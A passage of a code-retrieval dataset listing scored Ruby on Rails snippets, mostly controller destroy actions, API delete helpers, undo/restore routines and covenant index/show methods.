@bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7a5eea7c7a07ce3e7f95fa50802d596e", "score": "0.622974", "text": "def delete path\n make_request(path, \"delete\", {})\n end", "title": "" }, { "docid": "1cd5d4af7a90a72ae867f2446da11adc", "score": "0.6222023", "text": "def destroy\n @blivot.destroy\n respond_to do |format|\n format.html { redirect_to blivots_url, notice: 'Blivot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "76e5398af143fe39b500e5d64d70e7de", "score": "0.62199396", "text": "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to(bills_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ead5d9ab31b6353d5a2c6b3954e860b0", "score": "0.62177575", "text": "def destroy\n @bidding = Bidding.find(params[:id])\n @bidding.destroy\n\n respond_to do |format|\n format.html { redirect_to biddings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b59cbc64a92174178cede8728dec7ba5", "score": "0.62084645", "text": "def destroy\n @bunny.destroy\n respond_to do |format|\n format.html { redirect_to bunnies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "980d479ada32a1f98a44813c3be04562", "score": "0.6208188", "text": "def destroy\n @bird.destroy\n \n begin\n respond_to do |format|\n format.json { render json:({:status => NO_CONTENT}) }\n end\n else\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end", "title": "" }, { "docid": "eecfc0842d20195c9e90dfe6800183f3", "score": "0.6207921", "text": "def destroy\n @bijou.destroy\n respond_to do |format|\n format.html { redirect_to bijous_url, notice: 'Bijou was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8a725fd2aa276c7ee3216be9af6acf13", "score": "0.62019366", "text": "def destroy\n @braider.destroy\n respond_to do |format|\n format.html { redirect_to braiders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eda8d0cad950f3dc8ca6212a1ac6a126", "score": "0.6200779", "text": "def delete\n Iterable.request(conf, base_path).delete\n end", "title": "" }, { "docid": "2311373e4369fcdec23d826a26863a72", "score": "0.6199871", "text": "def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "09a82df94f838294f27fad64a1140dab", "score": "0.61965686", "text": "def destroy\n @bill = Bill.find(params[:id])\n \n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to(bills_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6f4ac563184b99209b99c4d3eb45d045", "score": "0.6189431", "text": "def destroy\n @bill = Bill.find(params[:id])\n # TODO: \"un-updateEnergyGoals\" related to this bill\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a1bba6e33121877df587b9c090641424", "score": "0.61894095", "text": "def destroy\n @bob = Bob.find(params[:id])\n @bob.destroy\n\n respond_to do |format|\n format.html { redirect_to bobs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d2938d0d96fc4adb30b185ea6e647cdf", "score": "0.6184228", "text": "def delete\n render json: Post.delete(params[\"id\"])\n end", "title": "" }, { "docid": "9f37eed0a0524660a6f07b922228fccf", "score": "0.61833835", "text": "def destroy\n @boat = Boat.find(params[:id])\n @boat.destroy\n\n respond_to do |format|\n format.html {redirect_to boats_url}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "41cf50558f103cb103f50c65ecd5f0a9", "score": "0.6181202", "text": "def destroy\n @boite.destroy\n respond_to do |format|\n format.html { redirect_to boites_url, notice: 'Boite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6179561", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6179561", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6179561", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "9410f5d5c06a5d4acee3b61e4f080658", "score": "0.6179561", "text": "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "title": "" }, { "docid": "6ef12b62ca644f69f6ef2f0a6ac92f61", "score": "0.61731833", "text": "def destroy\n @baby_pic = BabyPic.find(params[:id])\n @baby_pic.destroy\n\n respond_to do |format|\n format.html { redirect_to baby_pics_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4f605a08bc69024503de73cf7bba9c6f", "score": "0.61687696", "text": "def destroy\n @photo_booth = PhotoBooth.find(params[:id])\n @photo_booth.destroy\n\n respond_to do |format|\n format.html { redirect_to photo_booths_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a8afbb13480a485f5d0a2ab8a0c4239", "score": "0.6164955", "text": "def destroy\n # @bill_quorum = BillQuorum.find(params[:id])\n @bill_quorum.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_quorums_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a62a9601368178008a568ea86811c299", "score": "0.6162283", "text": "def destroy\n @village = Village.find(params[:id])\n @village.destroy\n\n respond_to do |format|\n format.html { redirect_to villages_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b59118145c537bb71a684944ba83ba70", "score": "0.61613756", "text": "def destroy\n @borad = Borad.find(params[:id])\n @borad.destroy\n\n respond_to do |format|\n format.html { redirect_to borads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "adba8ee21ff81bb1fc794f42211ba8b9", "score": "0.61599785", "text": "def bucket_delete_object(key)\n http.delete(\"/#{key}\", bucket: bucket, key: key)\n end", "title": "" }, { "docid": "6af597224b944c6e1544c0306a0c0e19", "score": "0.6154487", "text": "def destroy\n @used_bike.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "1469ede3719d2b2b12c5421650067caf", "score": "0.61531645", "text": "def destroy\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.destroy\n\n respond_to do |format|\n format.html { redirect_to bruschetta_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d02cc5d276f563dec168c015eb08c1ea", "score": "0.6152993", "text": "def destroy\n @gauge = Gauge.find(params[:id])\n @gauge.destroy\n\n respond_to do |format|\n format.html { redirect_to gauges_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b5f9094553f82b84ba006faf6aa9ba7", "score": "0.61459666", "text": "def destroy\n @breed = Breed.find(params[:id])\n @breed.destroy\n\n respond_to do |format|\n format.html { redirect_to breeds_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2f7c42d4307437cd075ad72473bf8102", "score": "0.6143113", "text": "def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "25f9af304ebcf3128f1037066776817a", "score": "0.6138472", "text": "def destroy\n audit(@bike_type, current_user)\n @bike_type.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "c6c6d6666549eca11ead2bf7fc09f2d4", "score": "0.61377937", "text": "def destroy\n @photo = @allbum.photos.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to allbum_photos_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a5128dd369de2a4c16eb06a13d6b315c", "score": "0.61373436", "text": "def destroy\n @brother = Brother.find(params[:id])\n @brother.destroy\n\n respond_to do |format|\n format.html { redirect_to brothers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "917974a683e6b91a47d5293fb575b61f", "score": "0.6134848", "text": "def destroy\n @image_bank = ImageBank.find(params[:id])\n @image_bank.destroy\n \n respond_to do |format|\n format.html { redirect_to image_banks_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
56fc87a73d8736faeee03a0059715b48
restore original state revert the changes made by all ticks of apply (some actions need to store state to make this work, other actions can fire an inverse fx)
[ { "docid": "4040bffc6315b9021b1fb3750f11ce3c", "score": "0.5733524", "text": "def undo\n\t\t\t\t\n\t\t\tend", "title": "" } ]
[ { "docid": "89fca189114b09925cc522460681c6e2", "score": "0.68939805", "text": "def reset\n unapply\n apply\n end", "title": "" }, { "docid": "16cb291d5b853c8645d2eeb1b65d0b1d", "score": "0.6869091", "text": "def revert\n end", "title": "" }, { "docid": "ddbdac2cc0aaa51dec1b8b33509fec1d", "score": "0.6717109", "text": "def restore\n end", "title": "" }, { "docid": "7f58c636e1d23ce22f0f6aa76d30eb0f", "score": "0.6589531", "text": "def restore; end", "title": "" }, { "docid": "50b8b1ec2a0d702610b37e5943ba976d", "score": "0.65822184", "text": "def undo\n return unless applied = self.applied\n\n applied.undo\n\n self.applied = applied.parent\n self.pending = applied\n end", "title": "" }, { "docid": "39be6fdad9b4db3b4f9dd94c7cd7a6bb", "score": "0.6489404", "text": "def discard_saved_state\n end", "title": "" }, { "docid": "0d70a98a178236bb7a35fbf368ee8173", "score": "0.64811754", "text": "def restore\n RESTORE\n end", "title": "" }, { "docid": "3017b67bcd33b37785415553909a97bf", "score": "0.64668566", "text": "def restore(*args); end", "title": "" }, { "docid": "e23493efa0e0df1ffbc9bf3c9cfe6673", "score": "0.6369419", "text": "def restore_merge_state; end", "title": "" }, { "docid": "e23493efa0e0df1ffbc9bf3c9cfe6673", "score": "0.6369419", "text": "def restore_merge_state; end", "title": "" }, { "docid": "d10e437a7a805f2be342f52d6b73ed85", "score": "0.6360819", "text": "def undo!\n bb = @stack.pop\n set_black(bb[:black])\n set_white(bb[:white])\n end", "title": "" }, { "docid": "1ae0e216aea4e0fb9ea4937b92b7df81", "score": "0.6353507", "text": "def undo_changes\r\n return synchronize( true )\r\n end", "title": "" }, { "docid": "9ce77fcba4dc6442f30c2457769ddd70", "score": "0.63446814", "text": "def revert\n @name_1 = @ori_backdrop1\n @name_2 = @ori_backdrop2\n end", "title": "" }, { "docid": "1dd95f48ebc476887a1aff6cab737aaa", "score": "0.63319963", "text": "def undo\n if !(isAtBeginning)\n @actions[@index].applyOpposite\n @index -= 1\n end\n end", "title": "" }, { "docid": "8578d25bf345add7c18d80221d162ab6", "score": "0.6283435", "text": "def revert\n self.class.revert [self]\n end", "title": "" }, { "docid": "48ba567ce4e4044d548ce9b86cb29c12", "score": "0.625872", "text": "def restore_state\n unless @state_stack.empty?\n state = @state_stack.pop\n @current_fill_color = state.fill_color\n @current_stroke_color = state.stroke_color\n @current_text_render_style = state.text_render_style\n @current_stroke_style = state.stroke_style\n stroke_style!\n end\n add_content(\"\\nQ\")\n end", "title": "" }, { "docid": "24ff7dd0dfd5ad293a6093aba1861f72", "score": "0.6246209", "text": "def restore\r\n @status = @stack.shift if @stack.size > 0\r\n end", "title": "" }, { "docid": "83d076041ab7fb09b70bc7d0886144f3", "score": "0.62375915", "text": "def mirror_state\n super\n end", "title": "" }, { "docid": "0eaa3ea031b0e4ec904b8b8acc647f8b", "score": "0.6235131", "text": "def undo\n\t\t\n\tend", "title": "" }, { "docid": "0eaa3ea031b0e4ec904b8b8acc647f8b", "score": "0.6235131", "text": "def undo\n\t\t\n\tend", "title": "" }, { "docid": "3e1167809ed175b413927b8183962d8a", "score": "0.62113607", "text": "def restore()\n state = @stack.pop()\n @angle = state[0]\n @pos = state[1]\n @down = state[2] \n end", "title": "" }, { "docid": "2858a60dca46c3ccae3aa974832291c1", "score": "0.6207988", "text": "def undo\n\t\t@memo.call\n\tend", "title": "" }, { "docid": "60f6969544815f63ea55afac65976ff4", "score": "0.61887985", "text": "def on_state_apply(state_id)\n reset_effect_param_cache\n end", "title": "" }, { "docid": "b0747807454d8a2b5a16d94fbe67de20", "score": "0.61731815", "text": "def restore!\n restore\n save!(validate: false)\n end", "title": "" }, { "docid": "3f2704c692fb411ba52a7faccfc3952c", "score": "0.6141468", "text": "def reset_to_original_state\n self.transform = CGAffineTransformIdentity\n end", "title": "" }, { "docid": "02a08bf2ffe1a704384a84e55d61c335", "score": "0.6139833", "text": "def backup_actions\n @reaction_backup = @actions.dup\n end", "title": "" }, { "docid": "b04be47c4c7f491cf649b1a604df31e2", "score": "0.60992485", "text": "def undo\n light.off\n end", "title": "" }, { "docid": "8f571364d4882ffc6fbd7e0a74658bd1", "score": "0.60867065", "text": "def restore(shaw, current_state_msg, restored_state_msg)\n @git.add_all\n @git.execute(%Q[commit -m \"#{current_state_msg}\"])\n @git.execute(%Q[revert -n #{shaw}..HEAD])\n @git.execute(%Q[commit -m \"#{restored_state_msg}\"])\n end", "title": "" }, { "docid": "7423b51edb598be5e0cabff3a11c42a6", "score": "0.6086097", "text": "def restore\r\n self.update(deleted: false)\r\n end", "title": "" }, { "docid": "af81db29c7d1d38bd5530d337e009a0b", "score": "0.6052524", "text": "def undo\n\t\t@moves.undo\n\tend", "title": "" }, { "docid": "dc408f15e02f009e2501556cd7e04bb3", "score": "0.60157096", "text": "def undo_changes\n @statistics[:rejected] += 1\n \n # restore state of previous solution\n case @last_change\n when :offset\n @current_offset[@changed_sc] = @previous_offset\n when :speed\n @current_speed[@changed_coord] = @previous_speed\n else\n raise \"Don't know how to undo a '#{@last_change}' change!\"\n end\n \n # delta-restore the value of the solution\n for coord, old_value in @delta_contribution\n current_value = @coord_contribution[coord]\n @direction_sum[coord.left_to_right] -= current_value\n @coord_contribution[coord] = old_value\n @direction_sum[coord.left_to_right] += old_value\n end\n \n store_current_value\n \n raise \"Restoration of previous solution failed after change in #{@last_change}:\\n\" +\n \"expected value #{@current_value_check} got #{@current_value}\" if (1 - @current_value_check / @current_value).abs > EPS\n end", "title": "" }, { "docid": "30a4b4f07cae560a92ab30a60e19c850", "score": "0.5997031", "text": "def reset_state\n @state = nil\n end", "title": "" }, { "docid": "37c14acffb22cb283fdee834db97ba7f", "score": "0.5995356", "text": "def restore_state(value)\n transforms = value.values.select { |el| !el.empty? }\n Applitools::Utils::EyesSeleniumUtils.set_transforms(executor, value)\n if transforms.empty?\n self.last_state_position = Applitools::Location::TOP_LEFT\n else\n positions = transforms.map { |s| get_position_from_transform(s) }\n positions.each { |p| raise Applitools::EyesError.new 'Got different css positions!' unless p == positions[0] }\n self.last_state_position = positions[0]\n end\n end", "title": "" }, { "docid": "986ea7063bfe9af0b94e92cdc075a309", "score": "0.59928876", "text": "def rollback!\n restore_attributes\n end", "title": "" }, { "docid": "61757eae25fdcf426b75ca9ce057e46d", "score": "0.5976691", "text": "def restore_graphics_state\n @stack.pop\n end", "title": "" }, { "docid": "861760fbc6070c1c349c50e8dfabff81", "score": "0.5971743", "text": "def mark_as_restored\n @restored = true\n end", "title": "" }, { "docid": "ba9e9c914ab8aafc1422b2b35c457698", "score": "0.5922537", "text": "def setup_restore_position\n if !@saved_position\n debug_print(\"Warning: #{self} has no saved position but restore called\")\n return\n end\n nx, ny = @saved_position[0], @saved_position[1]\n @acts.shift\n @acts[1] = :move if @acts[1].nil?\n @acts[2] = @saved_position[0]\n @acts[3] = @saved_position[1]\n @acts[4] = @saved_position[2]\n execute_act\n @saved_position = nil\n end", "title": "" }, { "docid": "8b9e41ae2a0ac4e557b492065b449fe8", "score": "0.59206605", "text": "def reset\n @state = :entry\n end", "title": "" }, { "docid": "b773ffd07620ee1242dfdd322bc131b8", "score": "0.59199876", "text": "def undo\n $log.debug \" got UNDO call #{@pointer}, sz:#{@actions.size} \"\n return if @pointer == 0\n @reject_update = true\n @pointer -=1 #if @pointer > 0\n @source.repaint_required true\n @reject_update = false\n edit = @actions[@pointer]\n perform_undo edit\n end", "title": "" }, { "docid": "538e1746ac066452fb3a63c58ce8a7b9", "score": "0.5892738", "text": "def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.ox = @cw/2\n self.opacity = 255\n end", "title": "" }, { "docid": "74aea98325b93f433e0a540f84bfe0af", "score": "0.58887625", "text": "def undo\n fan.off\n end", "title": "" }, { "docid": "1d81bdab3027b3ead8d0e70c5e2fbb29", "score": "0.58881044", "text": "def do_reset\n\t\t\n\t\t\t# Mark state as reset\n\t\t\t@reset = true\n\t\t\t\n\t\t\t# Revert text and palette\n\t\t\tself.text = nil \n\t\t\tself.palette = @palette_normal\t\t\t\n\t\tend", "title": "" }, { "docid": "2c1f10d1285461223753cf4821ca76d4", "score": "0.58753055", "text": "def restore\n @post = Post.find(params[:id])\n @post.state = 'draft'\n if @post.save\n flash[:notice] = \"the post have been restored\"\n else\n flash[:errors] = @post.errors\n end\n redirect_to params.merge(:action => :list)\n end", "title": "" }, { "docid": "ddd68cd989f79a7e24a3f4f81c684f28", "score": "0.58626556", "text": "def setup_rem_state\n return unless PONY::ERRNO::check_sequence(current_act)\n current_action_targets.each do |target|\n state_id = @acts[1]\n chance = @acts[2] || 100\n chance = chance / 100.0 if c.integer?\n target.remove_state(state_id) if rand < chance\n end\n end", "title": "" }, { "docid": "9840b9963d1d29c4d25ffe9a32491a1c", "score": "0.5852835", "text": "def revert_to!(value)\n revert_to(value)\n reset_version if saved = save\n saved\n end", "title": "" }, { "docid": "6bfe688acb334ae3542f634ab900d810", "score": "0.5843155", "text": "def redo\n\t\tself.apply()\n\tend", "title": "" }, { "docid": "81f407188db9f1fc766feb4b402b62f1", "score": "0.5841966", "text": "def restore\n _update_hash = {}\n object.attributes.reject {|k,v| object.class.ignore_fields_on_restore.include?(k)}.each do |key, value|\n _update_hash.merge! get_restore_hash(key,value)\n end\n object.update_attributes(parameterize(_update_hash))\n end", "title": "" }, { "docid": "c482053d2f3a7026ffd7e9c5d9934846", "score": "0.5839876", "text": "def undo\n light.on\n end", "title": "" }, { "docid": "ff174a4d967efd97cede94dd8dc04e8d", "score": "0.5829164", "text": "def restore\n return unless @cached\n update(@cached[:y], @cached[:x])\n @cached = nil\n end", "title": "" }, { "docid": "4be6d2e5d4eba90a6d6af32cbe65a8ff", "score": "0.5822923", "text": "def undo\n fan.medium\n end", "title": "" }, { "docid": "4be6d2e5d4eba90a6d6af32cbe65a8ff", "score": "0.5822923", "text": "def undo\n fan.medium\n end", "title": "" }, { "docid": "bb678f5c8cb1fac21d2dfff06edcae4e", "score": "0.5802357", "text": "def clearState()\n\t\t\t@_previous_state = @_state\n\t\t\t@_state = nil\n\t\tend", "title": "" }, { "docid": "85d7408f1d80c89e4a3522ef3c9c692f", "score": "0.5799338", "text": "def undo\n case @last_level\n when ON\n @light.on\n when OFF\n @light.off\n else\n @light.dim @last_level\n end\n end", "title": "" }, { "docid": "85d7408f1d80c89e4a3522ef3c9c692f", "score": "0.5799338", "text": "def undo\n case @last_level\n when ON\n @light.on\n when OFF\n @light.off\n else\n @light.dim @last_level\n end\n end", "title": "" }, { "docid": "00659c499aaab98b110a0459c5cb5380", "score": "0.5780101", "text": "def undo\n transaction do\n undoables = self.class.find(:not_undone, :all, :to => self.id, :include => :changes)\n raise Stale unless undoables.include? self\n undoables.each do |op|\n op.changes.each { |change| change.undo }\n op.undone = true\n op.save!\n end\n end\n end", "title": "" }, { "docid": "2f1ae4c7788b1ae5b3ce4b1431a3e9ae", "score": "0.5777099", "text": "def restore\n {}\n end", "title": "" }, { "docid": "ec862e8c48d53f027f9724eafc3d9302", "score": "0.5763362", "text": "def undo(frame)\n @xorify.unpack( undo_bypass(frame) )\n end", "title": "" }, { "docid": "d3b2944a8f67e174dc2220505695b1ed", "score": "0.576123", "text": "def undo\n if current_ident == @undo.last\n # reset\n self.current_db_value = current_question[\"question\"].value\n @undo.pop\n update_toolbar\n else\n old = @all_failed_questions.assoc(@undo.last)\n return unless old\n self.current_question = old[1]\n end\n end", "title": "" }, { "docid": "9771cf4d986eafdf2dd0bc8fa712d07b", "score": "0.574796", "text": "def on_state_erase(state_id)\n reset_effect_param_cache\n end", "title": "" }, { "docid": "adf6019c385a49589dc40b8839b6b1dd", "score": "0.573414", "text": "def revert_to_normal\n self.blend_type = 0\n self.color.set(0, 0, 0, 0)\n self.opacity = 255\n update_origin\n end", "title": "" }, { "docid": "44dfd8c9686c2550246e3b4006a27de4", "score": "0.57324684", "text": "def revert_changes!\n # Reassign the first value since we started tracking\n @changed_attributes.each_pair do |key, value|\n @attributes[key] = value.first\n end\n\n clear_tracked_changes!\n end", "title": "" }, { "docid": "8a1a4855571db52e3ebd92db32dbab06", "score": "0.572555", "text": "def restore\n update(archived_at: nil)\n end", "title": "" }, { "docid": "d3ba638ff2cae419fb90caf8c6053290", "score": "0.5724315", "text": "def revert(evt)\n version = Version.find(evt[:id])\n if version.reify\n version.reify.save!\n else\n version.item.destroy\n end\n is_redo = evt[:redo] == 'true'\n trigger :flash, :notice => undo_notice(is_redo, version)\n trigger :reload_grid\n render :nothing => true\n end", "title": "" }, { "docid": "8ad9eb8232a3fc5efd04b09672e75b74", "score": "0.5702868", "text": "def reset_changed_state new_state\n self.changed_attributes[:state] = self.state\n self.state = new_state\n perform_state_update\n end", "title": "" }, { "docid": "5c5774342f77b328d0ad0ebda145d553", "score": "0.56978595", "text": "def restore_mode; end", "title": "" }, { "docid": "5c5774342f77b328d0ad0ebda145d553", "score": "0.56978595", "text": "def restore_mode; end", "title": "" }, { "docid": "2f06c0870cd1436d8692bc4ec95a27b4", "score": "0.5693135", "text": "def revert\n\t\tself.clear_caches\n\t\t@dirty = false\n\n\t\treturn true\n\tend", "title": "" }, { "docid": "cc61f2c4420588890f9481faf9688119", "score": "0.5691732", "text": "def undo\n if(@history != nil)\n @history.undo\n end\n end", "title": "" }, { "docid": "8a95750a77f58814d1a604a5b99f1b94", "score": "0.5691086", "text": "def rescind!\n Decision.transaction do\n if initial\n paper.rescind_initial_decision!\n else\n paper.rescind_decision!\n end\n update! rescinded: true\n end\n end", "title": "" }, { "docid": "67ee4bd49f7c571951d3e1a1cd3e70c8", "score": "0.5666889", "text": "def restore_state\n\t$log.info(\"Restoring state from database...\")\n\t$redis.list_multis.each do |id_multi, config|\n\t\trestore_multi_state id_multi\n\tend\n\t$log.info(\"Restoration complete.\")\nend", "title": "" }, { "docid": "00782e4d964b641cd41158b4ab709354", "score": "0.56553197", "text": "def undo(all = false)\n @operations.find(:not_undone, (all ? :last : :first)).undo\n end", "title": "" }, { "docid": "da3f847fa0a65f1c9dcc36459178f51d", "score": "0.565492", "text": "def restore\n self.suspended = false\n save(:validate => false)\n end", "title": "" }, { "docid": "7fe95cfa471285371b065b78f3ca3204", "score": "0.56484276", "text": "def rollback\n super\n each { |transition| transition.machine.write(object, :event, transition.event) unless transition.transient? }\n end", "title": "" }, { "docid": "11804b164682e7d29d867923fb3c7d32", "score": "0.5642949", "text": "def rollback\n each {|transition| transition.machine.write(object, :event, transition.event)}\n super\n end", "title": "" }, { "docid": "bf9acef98938f0fab203d2dd02e14131", "score": "0.56310844", "text": "def reset\n\t\tdo_send('ARST 2')\n\tend", "title": "" }, { "docid": "43c6292f8d6939d728c8d4ca2e9a5614", "score": "0.5630506", "text": "def dont_undo\n @should_undo = false\n return nil\n end", "title": "" }, { "docid": "80bc7b48c22dffb8a5177be70d89c33c", "score": "0.56170005", "text": "def rollback\n each {|transition| transition.rollback}\n end", "title": "" }, { "docid": "ce83dd3e9cefd7d78c8688bd405fa73a", "score": "0.56148046", "text": "def reset_change!\n @_changed = false\n self\n end", "title": "" }, { "docid": "0da390652ce22f60771a15fefa937198", "score": "0.5599284", "text": "def revert_to!(version)\n revert version, :hard\n self\n end", "title": "" }, { "docid": "9b0445e7b9cc709553d1713d66bb91ad", "score": "0.55967516", "text": "def rollback\n @original_squares.each do |square|\n @board.set_at(square[:coords], square[:piece])\n end\n end", "title": "" }, { "docid": "cf7b6a40cfba4c5763eaccffb0570688", "score": "0.55833673", "text": "def reset_states\n #called by return to clear internal block stack\n callchain.each do |c|\n c.instance_exec do\n # go to the front of the line!\n @command_block = @previous_command_blocks.first || @command_block\n @previous_command_blocks = []\n @current_state = nil\n end\n end\n nil\n end", "title": "" }, { "docid": "6949d028983d214ef6285aec67dae959", "score": "0.55719304", "text": "def rollback\n each { |transition| transition.rollback }\n end", "title": "" }, { "docid": "ca4f7172e565a7024a8d45a4b0fc2464", "score": "0.5564772", "text": "def revert()\n if(@proxy == nil)\n @proxy = Action::Proxy.new(self.method('revert'))\n end\n @proxy\n end", "title": "" }, { "docid": "fc52c2d0483125eb4e3d84b03e4b03f6", "score": "0.5562458", "text": "def resets; end", "title": "" }, { "docid": "5c3ae42e1e10c1afc6fc9ccb255f23e6", "score": "0.5549698", "text": "def force_final_state\r\n @final_state = true\r\n end", "title": "" }, { "docid": "a932936c9404b62d48cb37ff6f49928f", "score": "0.55479985", "text": "def restore \n raise NotImplementedError.new\n end", "title": "" }, { "docid": "dcc8fa1910a40305830c26a77c9ca83d", "score": "0.55410916", "text": "def reset!\n self.draft = find_original_file!.read\n save!\n end", "title": "" }, { "docid": "5b0c2cf246d3885e40e07a81ed0d37d9", "score": "0.55084085", "text": "def discard!\n update!(adjustment: 0)\n end", "title": "" }, { "docid": "9826660987057cb7ad68ef59dc8ee072", "score": "0.550509", "text": "def erase_state(state_id)\n super\n check_state_remove_effects(state_id)\n end", "title": "" }, { "docid": "aaec499102237b9441deb0e49afd5ff2", "score": "0.5503871", "text": "def restore!\n record = self.restore\n record.save!\n self.destroy\n return record\n end", "title": "" }, { "docid": "0e940c0a873cb27723e8dd3c46a26bde", "score": "0.54817164", "text": "def setup_rem_state\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n c = @acts[2] || 100\n c = c/100.0 if c.integer?\n if area_flag\n target_array.each do |t|\n if chance(c)\n t.remove_state(@acts[1])\n get_scene.tsbs_redraw_status(t)\n end\n end\n return\n end\n return unless target\n if chance(c)\n target.remove_state(@acts[1])\n get_scene.tsbs_redraw_status(target)\n end\n end", "title": "" }, { "docid": "89ebf265731c965db9b0f246654b5074", "score": "0.54759353", "text": "def reset_action_variables \n update_attributes(selection_id: nil, value: nil, played_card_id: nil, action_phase: nil)\n end", "title": "" }, { "docid": "baa48e0ac9b3387e79e1c8b05dfa4428", "score": "0.5473321", "text": "def update_state\n raise \"Nothing to do\"\n end", "title": "" }, { "docid": "3f5a5bd442f50d537edda2cb2a1f3b19", "score": "0.546806", "text": "def onTransactionUndo(_)\n return if !tool_active? || @undone\n\n @undone = true # prevent recursion\n Sketchup.undo # call a second undo since new operation has already started\n update_comp\n refresh_html\n end", "title": "" }, { "docid": "03fc8d766ed8c90711047bcea30b01c5", "score": "0.54659975", "text": "def clear\n current_state.clear\n end", "title": "" }, { "docid": "a650bff5d95d968c1e4f9bb58ceae333", "score": "0.5456957", "text": "def revert_code()\n\t\t\n\tend", "title": "" }, { "docid": "34ca8f5b144a18e98c5e206dd35bdb94", "score": "0.5455274", "text": "def restore_archive\n end", "title": "" }, { "docid": "9f59dead58799a29a9270e1c302f8d74", "score": "0.544528", "text": "def with_keeping_state\n if control.key? :saved\n state_machine.load_current_state(control[:saved])\n else\n state_machine.set_initial_state\n end\n yield\n control[:saved] = state_machine.save_current_state \n end", "title": "" }, { "docid": "2d3a9bd8a5a91fa0478bf0e383a462b6", "score": "0.54344296", "text": "def undo()\n return @history.pop\n end", "title": "" }, { "docid": "d734564e3b9aa573bfa38bdcc04ee308", "score": "0.54228276", "text": "def ignore_state_changes!\n @ignore_state_changes = true\n end", "title": "" } ]
0f9663e1cf36bfe2a31a00588e25334a
GET /covenants/1 GET /covenants/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "931da6e0c9eabf5aef8996c86e3a32aa", "score": "0.7770812", "text": "def index\n @covenants = Covenant.page(params[:page])\n .per(params[:page_limit])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @covenants }\n end\n end", "title": "" }, { "docid": "c71ad37858ea4f3b04170ea4f883bd15", "score": "0.75755787", "text": "def show\n @covenant = Covenant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @covenant }\n end\n end", "title": "" }, { "docid": "f9d517f920cabccf68f4faccb7264d60", "score": "0.7338805", "text": "def index\n @covenants = Covenant.all\n end", "title": "" }, { "docid": "dc69911d4e205a4aa879523110fe4bcf", "score": "0.6725551", "text": "def new\n @covenant = Covenant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @covenant }\n end\n end", "title": "" }, { "docid": "7b2bb46bd85d2d3eee4c3cad311f92c3", "score": "0.6506097", "text": "def set_covenant\n @covenant = Covenant.find(params[:id])\n end", "title": "" }, { "docid": "2bdf9bc9e23a44f3ca97397d40dc7ffe", "score": "0.6405221", "text": "def index\n @councils = Council.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @councils }\n end\n end", "title": "" }, { "docid": "a0cfed2bb43037dc7b70dfeab1a65395", "score": "0.63042665", "text": "def show\n @coment = Coment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coment }\n end\n end", "title": "" }, { "docid": "a0cfed2bb43037dc7b70dfeab1a65395", "score": "0.63042665", "text": "def show\n @coment = Coment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coment }\n end\n end", "title": "" }, { "docid": "c005817a26c9e7f89e3062e951dcab32", "score": "0.6286377", "text": "def index\n @cages = Cage.where(query_params)\n render json: @cages\n end", "title": "" }, { "docid": "fed32e6e9bd93f03b86bc2c60114ba49", "score": "0.6257566", "text": "def list_tenants_for_circle(args = {}) \n 